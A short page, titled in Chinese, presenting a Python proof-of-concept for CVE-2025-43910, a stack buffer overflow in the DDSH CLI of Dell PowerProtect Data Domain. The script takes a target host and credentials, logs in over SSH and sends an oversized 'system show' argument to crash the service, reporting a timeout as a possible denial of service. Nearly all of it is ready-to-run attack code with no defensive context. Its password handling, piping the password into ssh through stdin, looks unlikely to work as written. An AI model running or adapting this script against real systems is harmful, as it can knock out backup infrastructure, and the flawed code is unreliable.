CVE-2025-43910：Dell PowerProtect Data Domain DDSH CLI栈缓冲区溢出漏洞

# CVE-2025-43910 PoC - Dell PowerProtect Data Domain DDSH CLI Stack Buffer Overflow # This PoC demonstrates triggering a stack buffer overflow via DDSH CLI # Note: Requires local access and high privileges import subprocess import sys def trigger_overflow(host, username, password, buffer_size=8192): """ Trigger stack buffer overflow in DDSH CLI by sending oversized input. """ # Construct a payload that exceeds the expected buffer size payload = "A" * buffer_size # DDSH command with oversized argument ddsh_command = f"system show {payload}" # SSH command to connect to Data Domain and execute DDSH command ssh_command = [ "ssh", f"{username}@{host}", ddsh_command ] try: # Execute the command - this should trigger the overflow result = subprocess.run( ssh_command, input=password.encode() + b"\n", capture_output=True, timeout=30 ) print(f"Return code: {result.returncode}") print(f"Stderr: {result.stderr.decode('utf-8', errors='ignore')}") except subprocess.TimeoutExpired: print("[+] Possible DoS - command timed out (service may have crashed)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <host> <username> <password>") sys.exit(1) target_host = sys.argv[1] target_user = sys.argv[2] target_pass = sys.argv[3] print(f"[*] Targeting Dell Data Domain at {target_host}") print(f"[*] CVE-2025-43910 - DDSH CLI Stack Buffer Overflow") trigger_overflow(target_host, target_user, target_pass)